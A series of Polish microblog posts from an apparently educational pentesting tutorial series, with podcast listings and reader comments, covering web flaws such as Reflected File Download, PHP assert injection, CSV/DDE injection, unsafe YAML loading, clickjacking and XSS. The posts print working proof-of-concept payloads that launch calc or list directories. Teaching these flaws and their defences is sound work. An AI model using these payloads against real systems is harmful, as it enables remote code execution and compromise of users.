@KacperSzurek: nie polecam tego podcastu :/ Jeżeli ktoś szuka porządnego szurogadania to powinien raczej sprawdzić pana Kudlińskiego, Chojeckiego, Jabłonowskiego lub ewentualnie niektóre spotkanie w Centrum Edukacyjnym Powiśle. W powyższym podcaście nie ma nic o Żydach, Lechitach ani nawet nie ma jechania po Unii Europejskiej. Dlatego jeśli szukacie szurogadania to absolutnie nie tutaj. To jakieś gadanie o drukarkach z wi-fi. Come on... Można było zrobić program o tym, że przez drukarki służby nas podsłuchują albo, że każda strona wydrukowana u nas w domu jest też drukowana w NSA, gdzie trafia do naszej teczki.
Duży potencjał, ale niestety tytuł bardzo mylący :/ pokaż całość
-
-
postMessage pozwala na wymienianie danych pomiędzy różnymi domenami przy użyciu #javascript
Dzisiaj w #od0dopentestera o tym, jak sprawdzić źródło wiadomości oraz dlaczego nie używać wyrażeń regularnych do tego celu.
window.addEventListener("message", function(message) {
alert(message.data);
}
Jeżeli na stronie umieścimy taki kawałek kodu, dowolna inna witryna będzie mogła przesłać do naszej domeny wiadomość i wyświetlić ją użytkownikowi:
document.getElementById("f").contentWindow.postMessage("Wiadomość", "*");
Jest to możliwe ponieważ nie sprawdzamy skąd pochodzi taka wiadomość.
Powinniśmy pozwalać na wykonanie akcji tylko zaufanym stroną.
W tym celu przeglądarka do każdej wiadomości dodaje poleorigin
, w którym zawarta jest nazwa domeny próbującej przesłać wiadomość:
if (message.origin == "http://naszadomena.local")
Ale ciągi znaków można sprawdzać na różne sposoby, na przykład przy użyciu wyrażeń regularnych:
if (/^http\/\/www.domena.local$/.test(message.origin))
Łatwo wtedy zapomnieć, że kropka - oznacza dowolny jeden znak.
Aby sprawdzać czy jest tam rzeczywiście kropka - musielibyśmy poprzedzić ją\.
W tym przypadku dane można również wysłać zwwwXdomena.local
czy teżwwwYdomena.local
.
if (message.origin.indexOf("www.domena2.local") > 0)
FunkcjaindexOf
zwraca offset pod którym odnalazła poszukiwany ciąg.
Sprawdza zatem czy podany tekst znajduje się gdziekolwiek.
Aby obejść ten filtr możemy stworzyć subdomenę:www.domena2.local.innadomena.local
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
Ps. Zapraszam do obserwowania tagu autorskiego #od0dopentestera
#security #bezpieczenstwo #programowanie #programista15k #informatyka #it #nauka #technologia #ciekawostki #gruparatowaniapoziomu pokaż całość-
dlaczego nie używać wyrażeń regularnych do tego celu.
@KacperSzurek: Raczej: "dlaczego należy dobrze wiedzieć jak działa regex gdy się go używa"+: Pan_wons, KacperSzurek -
@Zajc: rzeczywiście gdyby nie protokół powinno tam być > -1 albo >= 0
@sidhellfire: regexp to tylko przykład, bardziej chodzi o to aby wiedzieć że trzeba sprawdzać origin
-
-
Jak przy pomocy zakupów w supermarketach sprawdzić czy jesteś w ciąży?
Co to jest atak homograficzny na domeny internetowe?
Jak stworzyć odcisk palca pasujący do wielu osób?
Nowa metoda rozpowszechniania złośliwego oprogramowania przy pomocy obrazów iso.
Dlaczego atakujący próbują zdobyć nasze dane do Spotify?
#podcast Szurkogadanie - cotygodniowe zestawienie najciekawszych wiadomości ze świata bezpieczeństwa komputerowego.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
Ps. Zapraszam do obserwowania tagu autorskiego #od0dopentestera
#security #bezpieczenstwo #programowanie #informatyka #it #nauka #technologia #ciekawostki #hacking #gruparatowaniapoziomu pokaż całość-
Wołam zainteresowanych (27) z listy od0dopentestera
Możesz zapisać/wypisać się klikając na nazwę listy.
Sponsor: Grupa Facebookowa z promocjami z chińskich sklepów
Masz problem z działaniem listy? A może pytanie? Pisz do IrvinTalvanen
pokaż spoiler@KacperSzurek @Mashe @UrimTumim @porque @NERP @Smevios @Jakplus @Pioneer95 @ThatPart @szczeppan @Zielarz25 @press2210 @Dorrek @hiroszi @jerekp @Dyktus @bovver91 @Campell @ghostd @heow @Bakanany @znow_nowy_nick @arais_siara @Pies_Benek @HeinzDundersztyc @johnyboy @MojeTrzecieKonto
pokaż całość
-
-
Dzisiaj w #od0dopentestera o ataku: Cross-Site Websocket Hijacking na przykładzie #java
Dawniej, aby na stronie treści pojawiały się w czasie rzeczywistym należało z poziomu #javascript co kilka sekund wysyłać żądanie do serwera.
Teraz do tego celu wykorzystuje się websockety.
@ServerEndpoint(value="/endpoint")
public class socketer {
@OnMessage
public void onMessage(String message, Session session) {
session.getBasicRemote().sendText("tajny socket:"+message);
}
}
Jeżeli coś pojawi się na websockecie - odsyłam tą treść do użytkownika dodając do niej tekst.
Równocześnie mamy stronę, która próbuje się połączyć z endpointem.
var w = new WebSocket('ws://dobradomena.local/endpoint');
w.onmmessage = function(e) {
alert(e.data);
};
w.onopen = function(e) {
w.send('Hej!');
};
Jak działa taka komunikacja?
Nasza strona wysyła żądanie HTTP, w którym informuje, że chce przejść na websockety.
W odpowiedzi, serwer zwraca kod 101 i od tego momentu komunikacja odbywa się na podstawie ramek.
Gdzie jest błąd?
Aby uprościć przykład - nie jest w nim widoczna żadna metoda autoryzacji.
Załóżmy więc, że aby połączyć się z endpointem użytkownik musi posiadać prawidłowe ciasteczko.
Skopiujmy teraz nasz kod i umieśćmy go na innej domenie.
Tam również będzie działał prawidłowo. Dlaczego?
W kodzie #js odnosimy się do dobrejdomeny.
Podczas inicjalizacji połączenia z websocketem najpierw wysyłane jest żądanie HTTP.
Przeglądarka widząc więcdobradomena.local
dołączyła do niej pasujące ciasteczko.
Serwer sprawdził ciasteczko i zwrócił odpowiedni socket.
Tym samym zła domena może odczytywać oraz zapisywać do niego dowolne dane.
Atakujący nie musiał posiadać hasła użytkownika.
Wystarczy, że atakowana osoba była wcześniej zalogowana.
Jak zatem uchronić się przed tym atakiem?
Przeglądarka do żądań dodaje również nagłówekorigin
, w którym zawiera nazwę domeny, od której pochodzi dane zapytanie.
Możemy zatem sprawdzać jego treść po stronie serwera - i weryfikować czy żądanie pochodzi z naszej witryny.
Wtedy - nawet jeżeli ciasteczko jest prawidłowe - a żądanie pochodzi z obcej domeny - będziemy je w stanie rozpoznać.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
Ps. Zapraszam do obserwowania tagu autorskiego #od0dopentestera
#security #bezpieczenstwo #programowanie #informatyka #it #nauka #technologia #ciekawostki #hacking #gruparatowaniapoziomu pokaż całość-
@billy0o: To nie jest atak XSS - zaważ, że nigdzie nie podaje żadnego payloadu, który w jakikolwiek sposób kradł by cokolwiek od użytkownika.
+: aka-mikado
-
-
#od0dopentestera Garść #ciekawostki ze świata #bezpieczenstwo.
W tym odcinku:
- jak przestępcy sprzedają noclegi w drogich hotelach wykorzystując punkty lojalnościowe,
- co to jest „swatting” czyli nasyłanie zbrojnych oddziałów policji na swoich znajomych,
- wyłudzanie pieniędzy od przedsiębiorców przy użyciu firm łudząco podobnych do instytucji państwowych,
- dlaczego ta wiadomość jest w folderze „wysłane” - błędne filtrowanie nagłówka „from” w Gmailu,
- jak wykorzystując odpowiednią grafikę przekonać użytkownika iPhone do kupna drogiego abonamentu.
Podcast dostępny również na Google i Apple Podcasts.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku
#podcast #programowanie #informatyka #it #nauka #technologia #security #gruparatowaniapoziomu pokaż całość-
@PiersiowkaPelnaZiol: To w czym ja się specjalizuje to tak zwany white box pentest, czyli poszukiwanie błędów w oparciu o kod źródłowy. Ciężko o taki kod jeżeli aplikacja nie jest darmowa.
-
@KacperSzurek: A no tak, to też prawda. Choć nie które oferty na hackerrank widziałem, właśnie w przeszukiwaniu kodu źródłowego.
-
-
W tym tygodniu w #od0dopentestera trochę nietypowo – dziele się bowiem
moimi notatkami z konferencji Security PWNing 2018.
W ramach tego filmu opisuje 9 prezentacji, w których brałem udział.
Jest to więc skrót tego co można było na niej zobaczyć.
Większość prelekcji była nagrywana, więc jeżeli coś Cię zaciekawi –
nic straconego.
W tym wideo opowiadam o:
- Hackowanie zamków elektronicznych w pokojach na wynajęcie
- Metody ataku na sieci bezprzewodowe w firmach
- Bezpieczeństwo tokenów JWT
- Jak wygląda poszukiwanie błędów w bankach
- Metody oszustw internetowych stosowanych w naszym kraju
- Jak uruchomić plik pod #linux bez zapisywania go na dysk twardy
Jeżeli chcesz być wołany dodaj się do
Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do
pentestera na Facebooku
#programowanie #informatyka #it #nauka #technologia #security
#ciekawostki #warszawa pokaż całość-
Wołam zainteresowanych (26) z listy od0dopentestera
Możesz zapisać/wypisać się klikając na nazwę listy.
Sponsor: Grupa Facebookowa z promocjami z chińskich sklepów
Masz problem z działaniem listy? A może pytanie? Pisz do IrvinTalvanen
pokaż spoiler@KacperSzurek @Mashe @UrimTumim @porque @NERP @Smevios @Jakplus @Pioneer95 @ThatPart @szczeppan @Zielarz25 @press2210 @R0HYPN0L @Dorrek @hiroszi @jerekp @Dyktus @bovver91 @Campell @ghostd @heow @Bakanany @znow_nowy_nick @arais_siara @Pies_Benek @HeinzDundersztyc
pokaż całość
+: lwonly
-
Zestawienie #ciekawostki ze świata #bezpieczenstwo.
W tym odcinku:
- podszywanie się pod twórcę Tesli na Twitterze przy użyciu zweryfikowanych kont,
- cookie stuffing czyli jak oszukiwać na afiliacjach w Internecie,
- ile kosztuje oprogramowanie typu ransomware na czarnym rynku,
- co to jest atak supply chain.
Podcast dostępny również na Google i Apple Podcasts
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku
#od0dopentestera #podcast #programowanie #informatyka #it #nauka #technologia #security pokaż całość-
Wołam zainteresowanych (23) z listy od0dopentestera
Możesz zapisać/wypisać się klikając na nazwę listy.
Sponsor: Grupa Facebookowa z promocjami z chińskich sklepów
Masz problem z działaniem listy? A może pytanie? Pisz do IrvinTalvanen
pokaż spoiler@KacperSzurek @Mashe @UrimTumim @porque @NERP @Smevios @Jakplus @Pioneer95 @ThatPart @szczeppan @Zielarz25 @press2210 @R0HYPN0L @Dorrek @hiroszi @jerekp @Dyktus @bovver91 @Campell @ghostd @heow @Bakanany @znow_nowy_nick
pokaż całość
+: lwonly
-
-
Jak przekonać użytkownika do usunięcia swojego konta w serwisie internetowym bez jego zgody?
W dzisiejszym odcinku #od0dopentestera o ataku Clickjacking.
Podczas potwierdzania usunięcia konta zazwyczaj do serwera wysyłany jest specjalny token.
Dzięki niemu wiadomo, że to użytkownik użył odpowiedniego przycisku.
Osoba z zewnętrz nie jest w stanie przygotować wcześniej formularza usunięcia konta z prawidłowym tokenem a następnie podłożyć go nam do kliknięcia.
Nie zna bowiem prawidłowej wartości oczekiwanej przez serwer - tak działa mechanizm CSRF (Cross-site request forgery).
HTML pozwala na osadzanie we wnętrzu naszej strony zewnętrznych witryn.
Można tego dokonać przy pomocy tagu IFRAME.
W parametrze src podajemy adres, którego treść ma się u nas pojawić.
Możemy dowolnie modyfikować wielkość osadzonej ramki a także zmieniać jej położenie względem naszej strony
Używając narzędziaBurp Clickbandit
możemy spreparować ramkę wyświetlaną na naszej stronie w taki sposób, aby nie była widoczna dla użytkownika.
Jednocześnie - w miejscu przycisku "Usuń konto" pozycjonujemy inną grafikę - na przykład z informacją o wygraniu w loterii.
Teraz wystarczy już tylko przekonać zalogowanego użytkownika do odwiedzenia naszej strony i kliknięcia w interesującą grafikę.
Atakowany, myśli że klika w nią aby odebrać jakąś nagrodę - a tak naprawdę wysyła formularz usunięcia konta na innym serwisie internetowym.
Pod tą grafiką bowiem znajdował się przycisk, wyświetlany poprzez mechanizm iframe.
Użytkownik klikając w grafikę tak naprawdę klikał zatem w ten guzik wysyłając tym samym odpowiedni token do serwera.
Jak obronić się przed tym atakiem?
Jeżeli nie chcesz aby Twoja strona była osadzana przy użyciu mechanizmu ramek - dodaj do niej specjalny nagłówekX-Frame-Options: DENY
.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
#security #bezpieczenstwo #programowanie #informatyka #it #nauka #technologia #ciekawostki #hacking #java #gruparatowaniapoziomu pokaż całość-
@KacperSzurek: Co ciekawe, nie trzeba mieć zainstalowanego Burpa, by skorzystać z ClickBandita, bo twórca wrzuca też jego źródła na GitHuba:
http://github.com/hackvertor/clickbandit/blob/master/clickbandit.js+: KacperSzurek -
@postrachNocnegoSzczura: @wacky: @zapoznalem: @securitymb: Google też czasami zapomina o tym nagłówku.
-
-
Zestawienie #ciekawostki ze świata #bezpieczenstwo.
W tym odcinku:
- atak na osoby pobierające Chrome przy użyciu reklam w wyszukiwarce Bing,
- jak wyłączyć wszystkie iPhony w danym pomieszczeniu,
- co może zmienić najnowsza wersja projektu reCaptcha,
- urząd skarbowy zastanawia się nad wprowadzeniem technologii rozpoznawania mowy na infolinii podatkowej.
Podcast dostępny również na Google i Apple Podcasts.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
#od0dopentestera #podcast #programowanie #informatyka #it #nauka #technologia #security pokaż całość-
Wołam zainteresowanych (20) z listy od0dopentestera
Możesz zapisać/wypisać się klikając na nazwę listy.
Sponsor: Grupa Facebookowa z promocjami z chińskich sklepów
Masz problem z działaniem listy? A może pytanie? Pisz do IrvinTalvanen
pokaż spoiler@KacperSzurek @Mashe @UrimTumim @porque @NERP @Smevios @Jakplus @Pioneer95 @ThatPart @szczeppan @Zielarz25 @press2210 @R0HYPN0L @Dorrek @hiroszi @jerekp @Dyktus @bovver91 @Campell @ghostd
pokaż całość
-
-
Funkcjonalność wysyłania plików to miejsce kluczowe dla bezpieczeństwa.
Dzisiaj w #od0dopentestera omówię rozszerzenia na które warto zwrócić szczególną uwagę.
Jakie formaty graficzne znasz?
ALLOWED_EXTENSIONS = set(['pdf', 'png', 'jpg', 'svg', 'swf', 'jpeg', 'gif'])
Flash lata swojej świetności ma dawno za sobą.
Większość użytkowników kojarzy go z prostych mini gier dostępnych parę lat temu.
Posiada on jednak możliwość wykonywania kodu #javascript.
Jeżeli więc pozwalamy na wysyłkę i wyświetlanie plikówswf
, musimy liczyć się z konsekwencjami.
Ja użyje pliku xss.swf oraz Internet Explorera.
Dlaczego IE? Chrome od wersji 57 w standardowej konfiguracji nie uruchamia tych plików automatycznie.
xss.swf?a=eval&c=alert(document.domain)
Drugie potencjalnie niebezpieczne rozszerzenie tosvg
- czyli format grafiki wektorowej.
On również może zawierać w sobie kod #js.
Przykładowy plik można pobrać ze strony Sekuraka.
Jak popularny jest to błąd?
Na wysyłanie plików swf pozwalało DokuWiki czyli prosta alternatywa dla Wikipedii.
Podobna sytuacja z WordPressem.
W przeszłości pliki swf używane były do kopiowania tekstu ze strony do schowka.
Dalej więc na wielu witrynach można odnaleźć podatne pliki.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
#python #security #bezpieczenstwo #programowanie #informatyka #it #nauka #technologia #ciekawostki pokaż całość-
@kiedystobyl0: @zielonymirek: @gileski: Czasami można takie sprawdzanie obejść szczególnie jeśli mówimy o plikach graficznych zawierających kod js. Tutaj przykład png omijającego funkcje getimagesize w php a tutaj prawidłowy plik jpg z kodem javascript. pokaż całość
+: kiedystobyl0
-
-
Zestawienie najciekawszych #ciekawostki ze świata #bezpieczenstwo.
W tym odcinku:
- czy sprzedał byś swoje dane za kubek ciepłej kawy,
- czytajmy regulaminy - sprzątanie toalet za darmowe WIFI,
- dlaczego twórcy aplikacji mobilnych śledzą proces deinstalacji,
- jak rozpoznawanie twarzy jest wykorzystywane w Chinach.
Podcast dostępny również na Google i Apple Podcasts.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
#od0dopentestera #podcast #programowanie #informatyka #it #nauka #technologia pokaż całość-
Wołam zainteresowanych (18) z listy od0dopentestera
Możesz zapisać/wypisać się klikając na nazwę listy.
Sponsor: Grupa Facebookowa z promocjami z chińskich sklepów
Masz problem z działaniem listy? A może pytanie? Pisz do IrvinTalvanen
pokaż spoiler@KacperSzurek @Mashe @UrimTumim @porque @NERP @Smevios @Jakplus @Pioneer95 @ThatPart @szczeppan @Zielarz25 @press2210 @R0HYPN0L @Dorrek @hiroszi @jerekp @Dyktus @bovver91
pokaż całość
-
-
Dzisiaj w #od0dopentestera o Reflected File Download.
Błąd ten występuje zazwyczaj w endpointach jsonp, kiedy nie sprawdzamy nazwy callbacku.
Przy jego pomocy możemy pobrać plik o dowolnym rozszerzeniu i z kontrolowaną przez nas treścią.
Załóżmy, że posiadamy API, które zwraca bieżący czas jako json i chcemy pobrać te dane przy pomocy #javascript
Przeglądarki nie pozwalają na wysłanie żądania ajax do innej domeny, chroni przed tym mechanizm Same Origin Policy.
header('Content-Type: application/json');
header("Content-Disposition: attachment");
$callback = $ GET['callback'];
echo $callback.'('.jsonencode(array('czas' => time())).');';
Można natomiast przy pomocy tagu script uruchomić dowolny kod z innej domeny.
Nie możemy jednak załadować pliku w formacie json jako #js.
Ale jeśli treść json opakujemy w wywołanie funkcji - interpreter zrozumie to jako instrukcje wykonania danej funkcji a json zostanie tam przekazany jako parametr.
Gdzie znajduje się dzisiejszy błąd?
Sporo #programista15k nie sprawdza nazwy funkcji.
Wykorzystamy formatbat
- tam komendy można oddzielić od siebie wykorzystując pipe.
Jeżeli jako callback podamy nazwę komendy, następnie pipe a całość zapiszemy do pliku bat, Windows będzie myślał że ma do czynienia z programem wsadowym.
Wykona więc podaną komendę a następnie dalszą część pliku.
<a href='http://domena.example/api.php?callback=calc||' download="setup.bat">Download</a>
Jedyne co stoi nam na przeszkodzie to nazwa pliku - obecnie bowiem jest on pobierany jakojson
.
Na pomoc przychodzi atrybutdownload
, który możemy przekazać do taguhref
.
Dzięki temu plik zostanie pobrany jako.bat
Teraz wystarczy, że niczego nieświadomy użytkownik uruchomi tak spreparowany plik - zobaczy kalkulator.
Atak opiera się więc na socjotechnice i przekonaniu, że to co pobiera z danego serwisu jest OK.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
#security #bezpieczenstwo #programowanie #informatyka #it #nauka #technologia #ciekawostki #php pokaż całość-
@KacperSzurek: tylko czy uzytkownik nie musi uruchomić tego bata? wiekszym błędem było by danie użytkownikom możliwośći utworzenia takiego linku bo zakładam że nie mówimy tu o utworzeniu strony która będzie otwierać kalkulator a raczej wykorzystanie zaufanej strony do otwierania ludziom kalkulatora
-
@mirasKo-Kalwario: tak, użytkownik musi pobrać i uruchomić tego bata. Jest to więc atak podobny do CSV Injection - gdzie skuteczność zależy od przekonania użytkownika do wykonania danej akcji.
-
-
Garść #ciekawostki ze świata #security - #podcast Szurkogadanie.
Tym razem:
- kto ma dostęp do rejestru PESEL,
- fałszywe karty graficzne podbijają serwisy aukcyjne,
- malware na platformę KODI,
- co spowodowało błąd w jQuery File Upload.
Podcast dostępny również na Google i Apple Podcasts.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
#od0dopentestera #programowanie #informatyka #it #nauka #technologia pokaż całość-
Wołam zainteresowanych (13) z listy od0dopentestera
Możesz zapisać/wypisać się klikając na nazwę listy.
Sponsor: Grupa Facebookowa z promocjami z chińskich sklepów
Masz problem z działaniem listy? A może pytanie? Pisz do IrvinTalvanen
pokaż spoiler@KacperSzurek @Mashe @UrimTumim @porque @NERP @Smevios @Jakplus @Pioneer95 @ThatPart @szczeppan @Zielarz25 @press2210 @R0HYPN0L
pokaż całość
-
-
Często korzystając z serwisów internetowych spotykamy się przekierowaniami.
Jeżeli część zasobów witryny dostępna jest tylko dla zalogowanych użytkowników - po przejściu na taką podstronę jako niezalogowana osoba jesteśmy, przekierowywani do formularza logowania.
W adresie URL możemy dostrzec parametry nazwaneredirect
czy teżnext
, wskazujące na podstronę, która ma się wyświetlić po zalogowaniu.
Dzisiaj w #od0dopentestera, krótki przykład w #java symulujący tą funkcjonalność:
`import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
public class RedirectionExample extends HttpServlet {
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException {
response.sendRedirect(request.getParameter("redirect"));
}
}`
Jako parametrredirect
można podać dowolny link. Ale co w tym złego?
Zamiast przejść na nasza stronę, użytkownik zostanie przeniesiony na inną witrynę.
Żadne dane nie wyciekną.
Aby zrozumieć dlaczego jest to niebezpieczne musimy opisać co to jest phishing.
Phishing - czyli metoda oszustwa, w której podszywamy się pod kogoś lub coś aby wyłudzić jakieś interesujące nas informacje.
Przykład: dostajemy email od naszego banku, że ktoś próbował włamać się na nasze konto i musimy zmienić hasło.
Jako iż jesteśmy świadomi niebezpieczeństwa - sprawdzamy adres domeny, na którą kieruje odnośnik w wiadomości.
Domena się zgadza - jest identyczna z domeną naszego banku.
Klikamy więc w link i przystępujemy do procedury zmiany hasła.
Trafiamy jednak na stronę przestępców - którzy chcą wyłudzić nasze dane.
Jak do tego doszło?
Witryna banku zawierała błądOpen Redirection
.
Atakujący w adresie banku zawarł odpowiednio spreparowany parametrredirect
prowadzący na złośliwą domenę.
Użytkownik sprawdzając łącze – widział zatem prawdziwą domenę banku.
Nie sprawdził jednak parametrów, które były w niej przekazywane.
Dlatego też najpierw otworzyła mu się strona banku a następnie został przekierowany na inną domenę.
Pewno myślisz sobie, że żeby uchronić się przed tym atakiem, wystarczy sprawdzić, czy parametr zaczyna się od naszej domeny.
Dlaczego jest to błędne myślenie, dowiesz się w filmie, w którym opisuje kilka popularnych metod obrony oraz sposoby ich obejścia.
Jeżeli chcesz być wołany dodaj się do Mirkolisty. Wyjątkowo wołam osoby plusujące ostatni wpis o Java.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
#security #bezpieczenstwo #programowanie #informatyka #it #nauka #technologia #ciekawostki pokaż całość-
@KacperSzurek: Faktycznie, nie myślałem o tym w ten sposób. Dzięki wielkie za wytłumaczenie :) Akurat los chce że bawię się sesjami w projekcie i może być to dosyć przydatna informacja.
-
oauth2 przewiduje takie przekierowania.
@MDobak: pewnie zależy to od implementacji ale np. keycloak pozwala zrobić przekierowanie tylko na wcześniej zdefiniowane URIs albo tą samą domenę na której sam jest hostowany
@KacperSzurek: dzięki za wytłumaczenie. Faktycznie zachowanie flow może być trudne ale zależy to też od użytej technologii. Router w angularze np. pozwala odczytać skąd użytkownik przyszedł na stronę. Ten problem chyba bardziej dotyczy frameworkow generujących kod strony na serwerze jak JSP albo PHP pokaż całość
-
-
#ciekawostki o #security - #podcast Szurkogadanie
W tym odcinku:
- metody ataków na systemy bezkluczykowe w samochodach,
- dlaczego radio bluetooth może być niebezpieczne,
- jak oszukać automaty na napoje używając wirtualnych portfeli NFC,
- oraz jak dzieci hackują komputery rodziców.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
#od0dopentestera #informatyka #it #nauka #technologia pokaż całość-
@KacperSzurek: Mógłbyś podać feed RSS? Zawsze mam z tym problem. Mam program, który pobiera mi podcasty w formie mp3, a potem zrzucam je sobie na pendrive.
-
-
Funkcji
assert
używamy głównie podczas debugowania kodu – aby sprawdzić, czy wyrażenie jest prawdziwe.
Tym razem w #od0dopentestera o tym, dlaczego przekazywanie parametrów od użytkownika do tej konstrukcji w #php jest niebezpieczne.
Film jest nieco dłuższy niż zazwyczaj ponieważ rozwiązuje w nim zadanieBaby PHP
zHack.lu CTF 2018
.
Oprócz funkcjiassert()
dowiesz się tam również:
- o nietypowym użyciufile_get_contents
,
- dlaczego nie przekazywaćarray()
dosha1()
,
- co to jestVariable variables
czyli podwójny $$ przed zmienną,
- oraz jak znaki UTF mogą wpłynąć na wyrażenia regularne.
Dzisiejsza zagadka:
assert_options(ASSERT_BAIL, 1);
assert("{$_ GET['a']} == 123");
echo 'OK';
Sprawdzamy tutaj czy zmienna jest równa 123.
W dokumentacji czytamy:If the assertion is given as a string it will be evaluated as PHP code
.
Oznacza to żeassert
działa identycznie jakeval
- czyli, że przekazywany ciąg znaków jest traktowany jako kod PHP.
Możemy więc wykonać dowolny kod na serwerze wykorzystując funkcjędie()
oraz podwójny slash -//
, który sprawi, że reszta kodu będzie traktowana jako komentarz.
Aby wyświetlić listę plików w bieżącym katalogu wystarczy więc:
?a=die(s ystem('dir'));//
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
#gruparatowaniapoziomu #security #bezpieczenstwo #informatyka #it #nauka #technologia #ciekawostki #programowanie #webdev pokaż całość -
Czy eksportowanie plików CSV ze strony internetowej może być niebezpieczne?
Dzisiaj w #od0dopentestera oCSV Injection
czyli wykonaniu kodu przy użyciu Excela.
Każdy arkusz kalkulacyjny posiada wbudowane funkcje, które upraszczają prowadzenie rachunkowości.
Oprócz matematycznych operacji możemy dla przykładu stworzyć odnośnik do strony internetowej:
=HIPERŁĄCZE("http://szurek.pl"; "Moja strona")
#excel pozwala także na wykonywanie zewnętrznych programów przy pomocy dynamicznej wymiany danych - DDE.
Jeżeli więc strona internetowa posiada funkcjonalność eksportu do CSV i przekonamy użytkownika do otwarcia złośliwego pliku:
sep=,
Usługa,Kwota
Kawa,10
Obiad,=cmd|' /C calc'!A0
możemy wykonać dowolny kod na komputerze ofiary - w tym wypadku uruchomić kalkulator.
Oczywiście Microsoft zdaje sobie sprawę z tej furtki – przed wykonaniem akcji pyta użytkownika o dodatkową zgodę.
Dlatego też ten błąd nie jest uznawany za krytyczny przez większość firm.
Więcej o ataku CSV Injection.
Przykład prawdziwej podatności w konsoli AWS Amazona.
Jeżeli materiały tego typu Ci się podobają zapraszam na grupę od 0 do pentestera na Facebooku.
#gruparatowaniapoziomu #security #bezpieczenstwo #informatyka #it #nauka #technologia #ciekawostki #programowanie pokaż całość-
@KacperSzurek:we współczesnych excelach domyślny mechanizm importu zewnętrznych danych to powerquery i z tego co widzę tam to nie działa
natomiast informacja ciekawa
-
-
Najciekawsze newsy o bezpieczeństwie – #podcast Szurkogadanie.
Dzisiaj o:
- jak firmy próbują usunąć kompromitujące dla siebie materiały przy pomocy fałszywych wezwań DMCA,
- co to sąhoney-tokeny
i jak przy ich pomocy wykryć włamanie do naszej infrastruktury,
- dlaczego warto wyłączyć pocztę głosową u naszego operatora – o przejmowaniu kont WhatsApp,
- oraz jak przy pomocy platformy Webex dotrzeć do CEO największych firm na świecie.
Jeżeli materiały w tym stylu Ci się podobają dołącz do grupy od 0 do pentestera na Facebooku.
Transkrypcja jest dostępna tutaj.
Podcastu można również słuchać na Apple Podcasts, Google Podcasts oraz Spotify.
#od0dopentestera #security #bezpieczenstwo #informatyka #it #nauka #technologia #ciekawostki pokaż całość-
@KacperSzurek: PodcastAddict wyszukuje to jako oddzielne podcasty, jak to spiąć w jeden?
+: vikop-ru
-
-
Sporo programistów #python wie, aby nie używać
pickle
na danych od użytkownika ponieważ podczas ich deserializacji może dojść do atakuobject injection
i wykonania złośliwego kodu.
Ale co z innymi formatami? Czy również są niebezpieczne?
W kolejny odcinku #od0dopentestera o plikachyaml
.
import yaml
with open("test.yaml", "r") as s:
y = yaml.load(s)
print y['imie']
Formatyaml
nie jest tak prosty jak mogło by się wydawać.
W standardowym użyciu sam rozpoznaje on typ danych który jest do niego przekazywany.
Czasami jednak chcielibyśmy mieć kontrolę nad typem przechowywanym w konfiguracji.
Stąd też tagi - czyli polecenia rozpoczynające się od wykrzyknika, dzięki którym możemy wybrać typ samodzielnie.
Tak jak tutaj - gdzie0.7
będzie traktowana jako string a nie jako float.
moj_string: !!str 0.7
Niektóre parsery implementują specyficzne dla danego języka tagi - i tak w przypadku pythona możemy zdefiniować tuple:
moja_tupla: !!python/tuple [1, 2]
Gdzie zatem znajduje się dzisiejszy błąd?
W parserze używanym w pythonie możemy również skorzystać z taguapply
, który pozwala na wywołanie dowolnej funkcji z dowolnego modułu.
Jest to więc równoznaczne z możliwością wykonania dowolnego kodu na atakowanym serwerze.
W naszym przypadku użyjemy funkcjisystem
do wyświetlenia zawartości bieżącego katalogu:
imie: !!python/object/apply:os.system ["dir"]
Jak się ochronić przed tym błędem?
Zamienić funkcjęload
nasafe_load
.
#naukaprogramowania #programowanie #informatyka #it #nauka #technologia #ciekawostki #gruparatowaniapoziomu pokaż całość -
Każdy #programista15k przynajmniej raz w swoim życiu spotkał się z terminem XSS - czyli wykonaniem kodu #javascript w przeglądarce.
Ale czy można przeprowadzić taki atak bez użycia tagu html?
O tym w dzisiejszym odcinku #od0dopentestera
<script src="angular.js"></script>
<div ng-app>
< ?php
$s = str_replace('<', '<', $ _GET['s']);
echo str_replace('>', '>', $s);
?>
</div>
Przy pomocy funkcji #phpstr_replace
zamieniam tutaj wszystkie znaki większości oraz mniejszości na odpowiadające im encję.
Symuluje zatem wykonanie funkcji htmlspecialchars.
Dzięki temu nie można stworzyć nowego tagu html.
Przeglądarka bowiem napotykając encję nie interpretuje jej a wyświetla jako zwykły znak.
